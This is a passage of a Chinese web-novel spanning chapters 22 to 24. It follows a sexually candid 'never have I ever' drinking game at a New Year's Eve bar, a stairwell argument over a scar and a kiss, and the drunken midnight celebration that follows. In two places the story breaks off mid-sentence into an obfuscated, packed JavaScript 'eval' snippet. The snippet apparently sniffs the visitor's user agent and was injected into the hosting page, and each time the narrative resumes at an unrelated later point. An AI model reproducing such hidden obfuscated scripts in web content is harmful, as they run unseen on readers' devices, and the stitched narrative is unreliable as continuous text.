秦朗呼吸一滞,随即被她这拔吊无情的论调气笑,磨了磨后槽牙,声音更哑了:“啧……无情啊。可我明明记得,某人当时可不是这么说的……‘帅哥’、‘慢点’、‘要死了’……喊得可不是一般的真情实感……” 他话音未落,周冉已经反手一巴掌,结结实实地捂住了他的嘴,力道不轻。她瞪着他,眼神凶悍,耳根却不受控制地泛起一抹红,从牙缝里挤出几个字:“闭、嘴。再提一个字,我就让你从这儿跳下去,跟江里的锦鲤作伴,懂?” 秦朗被她捂着嘴,非但不恼,眼底的笑意反而更深,甚至伸出舌尖,极快、极轻地,舔了一下她温热的掌心。 周冉像被烫到一样猛地缩回手,狠狠瞪他一眼,转头抓起酒杯灌了一大口,掩饰加速的心跳。 第二轮开始。骰子转动。这次点数最大的,是刚刚经历社死与情史揭秘双重打击、此刻急需转移注意力的——周卓。 “哈哈哈!天道好轮回!到我了!”周卓一把抓起骰子,脸上重新燃起搞事的火焰,他目光在在场众人身上扫过,尤其在几个穿着清凉的美女和刚才举手承认假装的哥们身上多停了几秒,然后露出一口白牙,问出了那个在无数酒吧游戏里经久不衰、但每次都能引爆气氛的经典问题:“‘我’有——在除了床以外的地方,做过?爱的!客厅沙发、厨房流理台、阳台、车里、办公室、甚至野外……都算!没有过的,喝!” “喔!!!”问题一出,口哨声和起哄声几乎要掀翻屋顶。这个问题尺度更大,也更考验“阅历”。 这一次,举手的人明显少了些,但更精彩。一个穿着紧身裙的辣妹大大方方举了手,还补充了句“车库里,引擎盖上,刺激”;一个看起来文静的眼镜男弱弱地举了手,小声说“图书馆……古籍区,没人”;刚才那个辩解“状态不好”的哥们再次举手,这次挺直了腰板:“酒店落地窗!对着外滩!哥猛不猛?!” 周冉毫不犹豫地举起了手,虽然人生体验就那么一次。秦朗自然也举了,还得意地朝周冉眨了眨眼。林骁和徐杨对视一眼,也各自举了手,林骁笑得痞气,徐杨则微微侧开了脸。 南景这次没等周冉动手,自己很平静地……没有举手。他端起酒杯,准备认罚。 “哎?南景?”周卓眼尖,立刻叫起来,“你这可不行啊!生活要多点情趣!罚酒罚酒!双倍!” 南景笑了笑,没辩解,干脆地喝掉了自己杯中的酒,又倒了一杯喝下。林骁和徐杨的目光都落在他身上,林骁眼中闪过一丝讶异和兴味,徐杨则若有所思。 第三轮,骰子似乎格外眷顾某人。点数最大的,是秦朗。 秦朗拿起骰子,在指尖转了转,然后好整以暇地靠进沙发里,长腿交叠,目光慢悠悠地落在了身边周冉身上。嘴角勾起一抹势在必得又充满恶趣味的笑。 “到我了啊。”他清了清嗓子,确保所有人都能听清,然后一字一顿,清晰无比地问:“‘我’有——在性幻想对象不是当时床上的人的情况下,跟人上过床的。有过的,举手。” 这个问题比前两个更私密,更涉及情感忠诚,甚至带点道德审判的意味。卡座瞬间安静了一瞬,连音乐都仿佛为之一滞。 几秒后,稀稀拉拉有几只手举了起来,但都举得不高,表情也多少有些不自在。周卓撇了撇嘴,也举了手,嘟囔道:“谁年轻时候没意淫过女神……” 众人的目光,不由自主地,再次聚焦到周冉和秦朗身上。毕竟,刚才假装高?潮的问题,秦朗可是信心满满地没举手。 周冉慢慢抬起头,对上秦朗那双含着笑意的眼睛。她漂亮的脸上没什么表情,只是静静地看着他。 秦朗的心跳,不自觉地加快了几分。他知道这个问题很刁钻,甚至有些越界。但他就是想听。想听她亲口承认,或者……否认。 在所有人的注视下,周冉将自己手举了起来。没有看秦朗,语气平淡地补充了一句:“谁没有个幻想对象似得。” 秦朗脸上的笑容,有那么一瞬间,微不可察地僵硬了一下,但很快被他用更灿烂的笑容掩盖过去。他哈哈一笑,伸手揉了揉周冉的头发(被她嫌弃地躲开):“没事,谁还没个年少无知的时候。现在知了就行。” 他也举起了自己的手,坦然道:“我也有过。所以,扯平了。” 这个“扯平了”,似乎别有深意。周冉飞快地瞥了他一眼,没说话。 南景依旧没有举手,再次平静地喝掉了罚酒。林骁和徐杨这次都举了手,但两人看向秦朗和周冉的目光,都多了几分玩味。 游戏继续,气氛在酒精和越来越深入的问题中持续升温。终于,在新一轮的掷骰后,最大的点数,再次回到了今晚的游戏女王——周冉手中。 “哟呵!风水轮流转,又到我了!”周冉甩了甩有些酸痛的手腕,眼睛因为兴奋和酒意亮得惊人。她环视着卡座里一张张或期待、或紧张、或已经自暴自弃的脸,红唇勾起一个足以颠倒众生却也让熟悉她的人背后发凉的“恶魔微笑”。 她身体微微前倾,手肘撑在膝盖上,目光如同带着钩子,缓缓扫过每一个人,尤其是刚才几轮问题中“表现突出”的几位,然后,用她那把清亮又带着点慵懒沙哑的嗓音,抛出了今晚或许是最诛心、也最考验演技和心理素质的终极问题: “‘我’有——在做的时候,把对方想象成其他人的。不管是前任、明星、纸片人,甚至是不认识的帅哥美女……只要那一刻,你脑子里想着的不是正在耕耘或者被耕耘的这位,而是别的谁——举手!” “嘶!” 此问一出,卡座里响起一片整齐的倒抽冷气声。这问题简直是在人性的钢丝上跳舞,还带着电!承认了,等于当面给伴侣或炮友插刀;不承认,万一被戳穿,下场更惨。尤其今晚在场的好几对,关系都颇为微妙。 死寂。 长达十几秒的死寂。只有背景音乐还在不知死活地鼓噪。 终于,在令人窒息的沉默中,第一只手,颤颤巍巍地举了起来。是之前承认在“图书馆古籍区”的那位眼镜男,他低着头,声音细若蚊蚋:“想过……新垣结衣……” 有了第一个,就有第二个。一个短发酷姐举了手,面无表情:“想过我前任,技术比她好。”她旁边的女伴闻言,翻了个白眼,狠狠掐了她大腿一把。 周卓也举了手,破罐子破摔:“多了去了!难道你们没有吗?!” 陆陆续续,又有几只手举了起来,但都避开了身边人的目光。 秦朗没有立刻举手。他侧过头,看着近在咫尺的周冉。周冉也正看着他,两人目光在喧嚣与沉默中无声交缠。秦朗的喉结滚动了一下,眼底情绪翻涌,最终,他也很慢地,举起了手。他没说话,但举起的手,已经是一种回答。 周冉看着他举起的手,脸上没什么意外的表情,只是那漂亮的眼眸深处,似乎极快地掠过一丝什么,快得让人抓不住。秦朗,语气平淡地解释:“正常生理联想,有时候控制不住脑子。” 轮到南景了。所有人的目光,不自觉地,再次聚焦到他身上。他今晚的表现太干净了,几乎每个劲爆问题他都选择喝酒,这反而让人更加好奇。 在众人的注视下,南景垂着眼眸,看着自己手中的酒杯,琥珀色的液体微微晃动。他的侧脸在变幻的灯光下显得沉静。几秒钟后,他抬起眼,目光平静地迎上那些视线,然后,很轻,但很坚定地,摇了摇头。 “我没有。”他说。 他没有举手。也没有去端罚酒。只是静静地坐在那里,用行动和语言,给出了一个否定的答案。 周冉看着他,眼神复杂,有心疼,也有释然。秦朗挑了挑眉,若有所思。林骁和徐杨都看着他,林骁眼中的讶异和更深,徐杨则是佩服。 游戏在酒精、肾上腺素和越来越无下限的问题中滑向高潮,也逼近尾声。最后一轮掷骰,骨碌碌的声响仿佛敲在每个人紧绷又兴奋的神经上。揭开。 “哇哦~又是姐姐我!”周冉甩了甩手腕,眼睛亮得灼人。她没像之前那样立刻抛出问题,反而在众人期待又带点忐忑的目光中,做了一个出人意料的动作。 她抬手,捏住自己身上那件短袖T恤的下摆,毫不犹豫地向上一掀—— 一截纤细柔韧、白皙得晃眼的腰肢瞬间暴露在卡座暖昧变幻的光线下。肌肤在灯光下泛着珍珠般细腻的光泽,腰线流畅漂亮,没有一丝赘肉。但更引人注目的是,在那漂亮的腰腹侧后方,靠近肋骨下方的位置,有一道约莫五六公分长、颜色比周围皮肤略深、已经愈合但依然清晰可见的疤痕。 周冉挑眉,目光带着一种近乎挑衅的平静,缓缓扫过卡座里每一张骤然定格、写满惊愕的脸。她甚至恶劣地将衣摆又往上提了提,让那道疤在更多人视线中完全显露。 “最后一把,‘我’有——为别人拼过命,挡过刀的。不管是因为什么,不管对方是谁。有过的,举手。没有的,”她顿了顿,嘴角勾起一个弧度,“全、体、罚、酒。” 死寂。 比之前任何一次问题带来的死寂都要彻底、沉重。音乐还在喧嚣,远处的欢呼浪潮般涌来,但这一方卡座里,时间仿佛被按下了暂停键。所有人都怔怔地看着周冉腰腹上那道疤,看着她平静的眼神,消化着这个与之前所有玩笑都截然不同的提问。 林骁和徐杨脸上的玩世不恭消失了,周卓张大了嘴,手里的骰子掉在桌上都没察觉。南景握着酒杯的手指骤然收紧,他死死盯着那道疤,眼底翻涌着深不见底的心疼。 最先反应过来的是秦朗。 他脸上的笑容、那副惯常的玩世不恭、甚至眼底那点因游戏而起的兴奋,在周冉掀起衣摆的瞬间就冻结、碎裂。他的瞳孔急剧收缩,脸色以肉眼可见的速度沉了下去,变得铁青。下一瞬,他几乎是弹起来的,一把抓住周冉掀着衣摆的手腕,力道大得让她蹙眉,另一只手迅速、几乎是粗暴地将她掀起的T恤下摆猛地拉下,严严实实地遮住了那片肌肤和那道刺目的疤。 然后,他看也没看其他人,拉着周冉的手腕,转身就往外走。他的步伐又大又急,撞开旁边一个愣住的人也不管不顾。 “哎!秦朗你干嘛!松手!疼!”周冉被他拽得踉跄了一下,试图挣扎,但秦朗的手像铁钳。 秦朗抿紧嘴唇,下颌线绷成冷硬的弧度,一言不发,只是拉着她,朝着远离卡座、远离人群的安全通道方向走去。他的侧脸在明明灭灭的灯光下,阴沉得可怕。 “哎哎!别管他们!这把算冉姐绝杀!我们都没这光荣历史!喝!都得喝!”周卓最先从震惊中回神,试图用惯常的插科打诨拉回气氛,但声音有些发干。 “对……对!喝!这必须喝!”“为冉姐的……英勇,干杯?”其他人也反应过来,纷纷附和,只是举杯的动作有些僵硬,目光还忍不住瞟向两人消失的方向。 南景没有说话。他端起自己面前的酒杯,仰头,一饮而尽。辛辣的液体灼烧着喉咙,却压不下心口的窒闷。他又倒了一杯,再次喝干。然后,是第三杯。三杯烈酒下肚,他脸上泛起不正常的红晕,眼神却愈发沉静。 安全通道厚重的防火门在身后“砰”地一声关上,这里只有惨白的应急灯光。 “你干嘛?放开!我喊非礼了啊!”周冉甩开秦朗的手,揉了揉被他攥得发红的手腕,后背抵着冰冷的墙壁,双手下意识地抱在胸前,做出防御姿态,漂亮的脸上满是不耐和怒气。 秦朗转过身,面对着她。应急灯青白的光从他头顶洒下,在他脸上投下深深的阴影,让他的眉眼看起来格外深邃,也格外冷峻。他依旧没说话,只是上前一步,缩短了两人之间的距离,目光沉沉地落在她脸上,然后缓缓下移,落在她T恤下摆遮盖那道疤所在的位置。 “给我看看。”他终于开口,声音嘶哑得厉害。 “?????”周冉翻了个白眼,没好气地说,“流氓啊你!看什么看!有什么好看的!一道疤而已!” 秦朗像是没听到她的拒绝,他猛地伸手,一只手撑在她耳侧的墙壁上,另一只手则揽住了她的腰,将她更紧地固定在墙壁和自己身体之间,形成了一个充满压迫感的壁咚姿势。两人的身体几乎贴在一起,他能感受到她瞬间绷紧的肌肉和加快的心跳。他低下头,额头几乎要抵上她的,呼吸灼热地喷在她的脸颊,重复道: “周冉,给我看看。” 他的眼神太沉,太深,里面翻涌着周冉看不懂的、却让她心头莫名一紧的情绪。那不是欲?望,不是好奇,是某种更让她无所适从的东西。她瞪着他,和他对视了几秒,在他那种几乎要吞噬人的目光里,终究是败下阵来,或者说,是某种自己也说不清的情绪占了上风。 她扁了扁嘴,一把抓住自己T恤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她说着就要去推秦朗,准备离开。下一秒,却猝不及防地,被秦朗猛地拉了回去,结结实实地撞进一个宽阔、温暖的怀抱里。他的手臂紧紧环住她,下巴抵在她的发顶,声音闷闷的:“怎么那么傻……周冉,这世界上,没人值得你拿自己去替他挡刀。没有。” 他的怀抱太紧,气息太烫,话语里的心疼太重,重得让周冉一时忘了挣扎。她僵在他怀里,鼻尖萦绕着他身上干净清冽的气息,混杂着淡淡的烟味和酒气。 过了几秒,她才像是找回了自己的声音,带着点鼻音,扯了扯嘴角,试图用惯常的嘲讽语调,但说出来的话却低了下去: “那是你没有遇到。”她顿了顿,像是在回忆什么久远的、不甚清晰的画面,“我妈还和他爸在一起的时候……有次两人吵得特别凶,都摔门走了,好几天没回来。我们俩还小,门不知道被谁从外面反锁了,出不去。家里吃的不多……南景都给我吃了。大概……三四天,或者四五天吧,我不太记得了。他把最后一点能吃的都塞给了我,自己饿晕了过去……我当时,碰他,他都没反应,浑身冰凉……我以为他死了。” 她感觉到环抱着自己的手臂骤然收紧,勒得她有些疼。 “南景……对我来说很重要。”她最终,只是这么说了一句。千言万语,都凝聚在这最简单的一句里。 秦朗将她抱得更紧,他把脸埋进她的颈窝,声音闷得发颤。 “周冉……以后,让我保护你好不好?别再做那种傻事了……别再受伤了……” 周冉在他怀里,摇了摇头,动作很轻,但很坚定。她的声音恢复了平静,甚至带着点冷:“我不需要谁的保护。” “周冉!”秦朗猛地抬起头,双手捧住她的脸,强迫她看着自己。 “秦朗,”周冉打断他,看着他近在咫尺那深情的眼睛,心里那点被勾起的旧日记忆和此刻翻涌的陌生情愫交织成一团乱麻,让她烦躁无比。她心道:煽什么情啊喂。烦死了。 但嘴上,她却忽然扯出一个冷笑,话锋陡转,将刚才游戏里埋下的刺,一根根拔出来,淬了毒,扎向此刻最不设防的人: “所以——‘性幻想对象不是当时床上的人的情况下,跟人上过床’的那个人,是谁?‘在做的时候,把对方想象成其他人’的,又是谁?‘在除了床以外的地方,客厅沙发、厨房流理台、阳台、车里、办公室、甚至野外’……又是,和谁?” 一连串的问题,又快又急,像冰雹砸下。每一个问题,都指向他过去那些她未曾参与、却在此刻让她无比介怀的阅历。她介意。非常介意。哪怕知道他这样的男人,过去不可能一片空白,可当这些被赤裸裸地摊开在游戏里,再被此刻的情绪放大,那种说不清道不明的憋闷和刺痛,就变得清晰无比。 秦朗被她问得一愣,显然没料到她会在这个时候、这种情境下,突然翻起旧账。但看着她眼中清晰的介意和那点掩饰不住的烦躁。 她在意。她真的在意。 他低低地笑出了声,那笑声在空旷的楼梯间带着回音,有些无奈:“怎么……秋后算账啊?还挑这种时候?” 周冉推开他捧着自己脸的手,也顺势从他怀里挣脱出来,后背重新抵上冰冷的墙壁,环抱着手臂:“怎么,不能问?我就是突然想起来了,觉得……有那么点,不舒服。” 她承认了。虽然用词别扭,但她承认了“不舒服”。这对周冉来说,已经是某种程度的妥协和暴露。 秦朗看着她这副竖起全身尖刺、明明在意得要死却偏要做出冷漠高傲样子的模样,心软得一塌糊涂,也疼得一塌糊涂。他重新靠近她,但这次没有用强的,只是站在她面前,微微低头,凝视着她的眼睛。 “认识你之后,周冉,只有你。之前的事,我不否认,我有过过去。但那些都过去了。从你出现之后,我的床上,我心里,我脑子里的性幻想对象……都只有你,只会是你。”他伸出手,想碰碰她的脸,但看到她戒备的眼神,又缓缓放下,“相信我,冉冉。至少,给我机会,让你相信。” 周冉别开脸,避开他过于灼热的视线。相信?她扯了扯嘴角,心里那股烦闷感更重了。感情这东西就真他妈烦人,哪怕听他这么说,理智上或许能理解,可情感上,那些想象出来的画面,那些“别人”,还是会不受控制地冒出来,扎得她浑身难受。她非常、非常、讨厌这种被情绪左右、变得不像自己的感觉。 “不相信,再见。”她干脆地说,伸手就要去拉身后的防火门。 秦朗眼疾手快,再次把她捞了回来,这次是从背后抱住,双臂紧紧环住她的腰,将她锁在怀里,下巴搁在她肩头,声音带着挫败和更深的恳求:“冉冉……给我机会,好不好?你是喜欢我的,对不对?你对我有感觉,你在意我的过去,你就是喜欢我。” 周冉在他怀里僵着,没承认,也没否认。只是呼吸微微急促。 秦朗不让她逃避,他侧过头,嘴唇几乎贴着她的耳廓,温热的气息拂过,问出了那个盘旋在他心里许久、或许也带着点不甘和嫉妒的问题:“那你当时……把我,想成了谁?”他知道,周冉和他那次是她的第一次。后来虽然混蛋,但他查过,周冉确实没有过别的男人。那个让她在“幻想”的,是谁? 周冉沉默了几秒。 然后,她听见自己用没什么起伏的声音说: “金城武。” 秦朗:“……” 他愣了两秒,随即失笑,那笑声里带着点荒谬,更多的却是释然的满足。他收紧手臂,将她抱得更紧,嘴唇蹭了蹭她的耳尖,语气恢复了惯常的欠揍:“啧……金城武?我不比他帅?我都得喊他叔叔了。” “滚一边儿去,”周冉用手肘往后顶他,没用什么力,“好像你活不到他那个年纪似的。” 秦朗借着应急灯微弱的光,看着怀里人线条优美的侧脸,看着她微微颤动的睫毛和紧抿的、却不再说出刻薄话的唇。心头那股激荡的情感再也抑制不住。他扳过她的肩膀,让她面对自己,然后低下头,捕捉到了她的嘴唇。 这个吻。它温柔,珍重,他吮?吸着她的唇瓣,舌尖温柔地描绘着她的唇形,然后试探地深入,与她生涩回应纠缠。 周冉没有立刻推开。或许是酒精,或许是方才情绪的巨大波动……她闭上了眼睛,手不自觉地抓住了他腰侧的衣服布料,指尖微微蜷缩。 这个吻持续了大概……一分钟?或许更短。周冉猛地清醒过来,一股强烈的恶心、烦躁和对自己此刻沉溺的厌恶感席卷了她。她想起了游戏里他举起的手,想起了他承认的“有过”,想起了那些她未曾参与、却真实存在过与别人的亲密。 “唔!”她用力推开了秦朗,力道之大,让他踉跄着后退了一步。 周冉抬手,用力擦了擦自己的嘴唇,眼神重新变得冰冷而疏离,甚至带着点嫌恶,瞪着他. “一想到你还亲过别人,还不知道亲过什么地方,跟什么鬼人……我就有点恶心。” 说完,她不再看他瞬间僵住、写满错愕和受伤的脸,猛地转身,一把拉开沉重的防火门。 她没有回头,快步融入了门外那片光影交错、疯狂喧嚣的跨年人潮中,很快消失不见。 秦朗独自站在原地,脸上还残留着未褪的错愕、狼狈,和属于那个短暂亲吻的温存。怀里却空无一人,只剩下她最后那句“恶心”,和离去时决绝的背影。 过了好几秒,他才像是找回自己的声音和动作,抬手抹了把脸,嘴角扯出一个比哭还难看的笑容,无奈又急切地喊了一句: “不是……小祖宗……我没有!你等等!你等我找个时光机回去把那些都删了行不行?!!” 23. 新年快乐(3) “十!” “九!” “八!” 震耳欲聋、山呼海啸般的倒计时呼喊,如同海啸前最后、也是最汹涌的浪潮,从主露台、从楼下、从整座城市的各个角落汇聚而来,穿透厚重的玻璃和喧闹的音乐,狠狠撞击着每个人的耳膜和心脏。穹顶下,无数张仰起的脸上映着变幻的灯光,写满了亢奋、期待、和对崭新开端的集体狂热。 “七!” “六!” 林骁和徐杨几乎同时放下了手中的酒杯,不约而同地侧身,目光越过嘈杂的人群,落在了刚刚回到卡座周冉身上,然后,又几乎是同时,转向了她身边正扶着额头、似乎有些头晕的南景。两人眼神在空中短暂交会,噼啪闪过无声的电光,随即各自扯开一个势在必得的笑容。 “五!” “四!” 周卓已经彻底喝嗨了,他跳到沙发上,挥舞着不知从哪儿捡来的荧光棒,跟着全场嘶吼,脸红脖子粗。秦朗则站在卡座边缘,背对着狂欢的人群,目光沉沉地追随着周冉的身影,他端起一杯冰水,走过去,试图塞进周冉手里,被她不耐烦地推开。 “三!” “二!” “一!!!” “新年快乐!!!!!!” “砰!砰砰砰!!!” “咻——啪!哗——!” 时间在“一”字落下的瞬间被引爆。巨大的钟声轰然敲响,与此同时,江对岸的夜空被无数道升腾的光束撕裂,第一波规模空前、绚烂到极致的跨年烟花汇演毫无保留地怒放!金色的瀑布、紫色的漩涡、银色的花雨、红色的心形……将整个天幕和粼粼江水染成一片流动的、璀璨的光之海洋。香槟木塞弹出的爆响、人群失控的尖叫欢呼、拥抱亲吻的声音、甚至喜极而泣的抽噎…… 卡座里也瞬间沸腾。周卓从沙发上滚下来,抱住旁边一个人就猛亲了一口,发现是林骁,把对方嫌弃地推开。几个人举起酒瓶对喷,泡沫和酒液飞溅。玻璃杯碰撞的清脆声响此起彼伏。 “新年快乐!!!” “Happy New Year!!!” “干杯!!!” 南景也被这铺天盖地的喜悦浪潮席卷,他端起不知谁塞到他手里的香槟,仰头喝了一大口。他看着眼前这堪称疯狂的欢庆景象,看着玻璃穹顶外那片不断绽放湮灭、象征着辞旧迎新的盛大花火,胸腔里那股沉郁了许久的东西,似乎真的被这震耳欲聋的喧嚣和绚烂,短暂地驱逐、涤荡了。 “南小景!”周冉不知何时挤到了他身边,她显然喝多了,脚步有些虚浮,但眼睛亮得惊人。她一手举着杯底还剩一点琥珀色液体的酒杯,另一只手豪迈地拍在南景的肩膀上,身体因为兴奋和醉意微微摇晃,凑近他耳边,试图用文绉绉的话来抒发感慨,但舌头有点打结: “嗝……休、休将旧事从头说!那个……那个……日喜新年人手来!对!人手来!不管了!反正……旧的不去,新的不来!干杯!”她说完,也不管南景听没听懂,用力将自己的杯子撞向南景手中的香槟杯,发出“叮”一声脆响,然后仰头将残酒一饮而尽,咧着嘴笑。 南景看着她这副样子,忍不住也笑了,笑声清朗,带着难得的畅快。他扶住她有些摇晃的身体,也喝掉了杯中剩余的香槟:“哈哈,你出国混了几年,这些文绉绉的词儿居然还没忘光?不过用在这儿……倒是应景。新年快乐,冉冉。” “那是!姐可是……文化人!”周冉得意地扬起下巴,眼神开始有些涣散,但搞事的本能不减,她目光扫过旁边的周卓和看着南景的林骁,还有微笑着看着烟花的徐杨,眼珠一转,忽然提高了音量:“哎!那边的!萨摩耶!德牧!别光看烟花啊!过来喝酒!陪我哥喝酒!今天不把我南小景喝高兴了,谁都不许走!” 林骁和徐杨闻言,立刻结束了无声的对峙,几乎是同时转身,脸上挂起无可挑剔的笑容,拿着酒瓶和杯子就围了过来。 “必须的,冉姐发话,哪敢不从。”林骁动作更快一步,直接坐到了南景另一侧的沙发扶手上,长腿一伸,几乎碰到南景的腿。他拿起一瓶新的威士忌,熟稔地拧开,先给南景空了半的杯子满上,然后又给自己倒了大半杯,举起杯子,目光灼灼地看着南景,笑容带着野性的侵略性:“南景,新年第一杯,我敬你。祝你新的一年,心想事成,烦恼……统统抛开!”他说完,仰头就干掉了半杯,喉结滚动,喝得又急又猛,喝完还朝南景亮了亮杯底,眼神带着挑衅和期待。 南景还没说话,徐杨已经递过来一杯颜色漂亮的鸡尾酒:“南景,喝那么多烈的伤胃。试试这个,新年日出,度数低,口感好,寓意也好。”他隔在了南景和林骁之间,将酒杯轻轻放在南景面前的桌上,然后也拿起自己的杯子,对南景微微一笑:“南景,新年快乐。很高兴能和你一起跨年。希望新的一年,能有机会多聚聚。”他也一口喝掉。 南景看着眼前两杯截然不同的酒,和两个风格迥异但此刻目标似乎一致的男人,有些哭笑不得。他还没决定先喝哪杯,周卓也嚷嚷着加入了战局。 “还有我!还有我!南景!我也敬你!冉姐的哥哥就是我周卓的亲哥!以后在这边,有事报我名字!好使!”周卓已经醉得东倒西歪,搂着南景的脖子就要灌酒,被南景勉强避开。 “得了吧你!还报你名字!报你名字警察来得更快吧!”周冉虽然自己也晕,但不忘吐槽周卓,她挤过来,一把抢过周卓手里的酒瓶,“要喝跟我喝!南小景的酒量我知道,你们别想灌他!来,周卓,咱俩喝!五百年前是一家!今天不喝成生死之交,对不起这个姓!” “对!一家!一家!”周卓立刻转移目标,跟周冉勾肩搭背起来,两人开始用极其荒谬的理由拼酒,从“庆祝地球又平安公转一圈”喝到“纪念微信红包发明X周年”。 秦朗站在稍外围的地方,手里捏着那杯冰水。他看着被林骁和徐杨“左右夹击”、虽然无奈但明显放松甚至带着点纵容笑意的南景,又看看已经跟周卓喝到开始称兄道弟、差点要当场拜把子的周冉,额角青筋突突直跳。他当然记得,周冉就是那次喝多了,才跟他稀里糊涂滚到了一起。他可不想历史重演,尤其不想看到她醉眼朦胧地对着别的什么“萨摩耶”、“德牧”或者“周卓本家”搂脖子灌酒。 他深吸一口气,压下心头翻腾的醋意和担忧,走过去,先是一把将已经快趴到周卓身上的周冉捞了回来,按在自己旁边的沙发上坐下,塞给她一杯新的冰水:“缓缓再喝。你刚才喝太急了。” “要你管!”周冉嘟囔,但还是抱着冰水小口喝了起来,眼神迷离地看着秦朗,忽然伸手捏了捏他的脸,“咦?你谁啊?长得还挺帅……有点像那个……那个谁……” 秦朗:“……” 秦朗保持着令人发指的清醒。他像一只守护着宝藏的龙,冷静地观察着卡座内迅速滑向失控的局面。他手里的冰水换了一杯又一杯,几乎没碰任何酒精,目光时刻锁在周冉身上,并分神留意着南景那边的动静。 周冉几轮混杂的烈酒下肚,加上之前情绪的剧烈波动,她早已从“微醺”晋级为“重度晕眩”。此刻,她正试图教一个同样醉醺醺的女生用筷子开啤酒瓶,嘴里含糊地念叨着“这、这是祖传手艺……嗝……看好了,手腕要这样……发力于无形……”结果一用力,筷子“啪”地折断,啤酒瓶纹丝不动,她自己也因为反作用力差点从高脚凳上栽下去,被秦朗眼疾手快地一把捞住腰,按回沙发。“坐好,别动。”周冉不满地扭了扭,但眼皮已经开始打架,脑袋一点一点,最终歪在了秦朗肩膀上,嘴里还嘀咕着“金城武……好像更帅了……” 周卓已经进入了“我是世界之王”的阶段。他站在茶几上,用不知道从哪儿弄来的小扩音器,声嘶力竭地发表“新年致辞”,内容从“感谢CCTV”一路跑偏到“我家的狗昨天生了,我给它取名新年快乐”,最后被两个尚存一丝理智的朋友强行拽了下来,瘫在沙发里,开始抱着一个抱枕深情呼唤“妈妈”。 而林骁和徐杨,这对暗地里较劲的对手,则将战场完全转移到了酒桌上,目标明确——灌倒对方,以及……陪好南景。两人都已经喝得面色酡红,眼神迷离,但那股不服输的劲头在酒精催化下反而更加明显。 “南、南景……这杯……我单独敬你!”林骁舌头明显大了,他摇摇晃晃地站起来,差点带倒一个空酒瓶,被秦朗伸手扶住。他挣脱开,固执地凑到南景面前,衬衫领口不知何时解开了三颗扣子,露出大片泛红的胸膛。他端起一杯纯的龙舌兰,眼神已经无法精准聚焦,但努力做出深情的样子:“祝你……新的一年……桃花……不对,是事业!事业像烟花……咻——啪!那么灿烂!我干了!你……你随意!”说完,他闭着眼,一脸视死如归地把那杯烈酒倒进嘴里,然后被呛得弯下腰剧烈咳嗽,眼泪鼻涕一起流。 徐杨的状态也没好到哪里去。他平时温润的形象此刻荡然无存,白皙的脸颊红得像熟透的苹果,原本一丝不苟的头发也变得凌乱。他安静地坐在南景另一侧,但坐姿已经歪斜,几乎要靠在南景身上。听到林骁的话,他慢半拍地抬起头,眼神涣散地寻找着南景的脸,然后露出一个傻乎乎、毫无防备的笑容:“南景……别、别听他胡说……烟花……一下子就没了。要像……像江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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南景扶额,笑得更厉害了,酒精让他也失去了平时的克制,只觉得这场面荒唐得有趣。 “结什么拜!你们几个!”秦朗终于看不下去了,他先把靠在自己肩上快要睡着的周冉小心地放平在沙发上,用大衣盖好,然后起身走过来,像个无奈的幼儿园老师,试图分开这几个纠缠在一起的大龄儿童。“周卓,你坐好。林骁,徐杨,你们喝多了,休息一下。” “秦少……我没多!”林骁挣扎着,试图证明自己清醒,却差点左脚绊右脚把自己摔了,被秦朗一把扶住。“我还能喝!还能陪南景哥!” “对……陪南景……”徐杨也小声附和,眼神已经彻底迷离,看着南景的方向,只是傻笑。 秦朗头疼地看着这一片狼藉。他瞥了一眼南景,南景也正看着他,脸上是毫不设防带着醉意的笑容,眼神水润,比平时少了清冷,多了几分懵懂的柔软。秦朗心里叹了口气,知道这位也到量了。 “南景,你也别喝了。我先送你和冉冉回去。”秦朗说着,试图把南景从林骁和徐杨的“包围”中解救出来。 “不要……”林骁一听南景要走,立刻不干了,他死死抱住南景的一条胳膊,像个耍赖的孩子,“南景……别走……再玩会儿……我、我给你表演个节目!” “什么节目?”南景居然饶有兴致地问,酒精让他耐心出奇的好。 “我……我给你们走个台步!专业模特!”林骁说着,真的摇摇晃晃地站起来,试图在拥挤的卡座里找地方“走秀”,结果刚迈出一步,就撞到了茶几,差点扑倒,被秦朗和南景同时拉住。 徐杨见状,也不甘示弱,他慢吞吞地站起来,眼神迷蒙:“我……我会唱歌……唱……唱个抒情的……” “行了都别唱了!”秦朗一个头两个大,他算是看明白了,今天不把这几个醉鬼收拾了,谁都别想走。他拿出手机,开始联系司机,准备先把这几个家伙安顿下来。 而卡座中心,暂时脱离秦朗“管控”的林骁和徐杨,又开始了新一轮的争宠。林骁不知从哪儿摸出一支笔,拉着南景的手,醉醺醺地要给他画手表:“南景……这个……限量版……我、我画给你……只有你有……” 徐杨则掏了半天口袋,掏出一颗不知道什么时候放进去的、已经有点融化变形的巧克力,小心翼翼地剥开,递到南景嘴边,眼神期待:“南景……甜的……吃了……不难受……” 南景看着手腕上歪歪扭扭的“手表”,又看看嘴边那块形迹可疑的巧克力,再看看两张近在咫尺、写满醉意和笨拙讨好的俊脸,终于忍不住,靠在沙发背上,畅快地笑了起来。 24. 悔之晚矣 凌晨两点过半,江风带着刺骨的寒意,将酒吧内残余的喧嚣与燥热彻底吹散。街道上依旧灯火通明,但行人已稀,只有代驾和出租车在附近逡巡。秦朗站在酒吧门口。 他先小心翼翼地将已经睡得人事不省、偶尔嘟囔一句“金城武别跑”的周冉,打横抱起来,安置在自己那辆车的后座,细心地给她系好安全带,又脱下自己的大衣给她盖好。做完这些,他回头看向酒吧门口——顿时觉得太阳穴又开始突突跳。 他那辆宽敞的SUV旁边,另一辆商务车旁,正上演着一出令人扶额的“醉汉叠罗汉”。 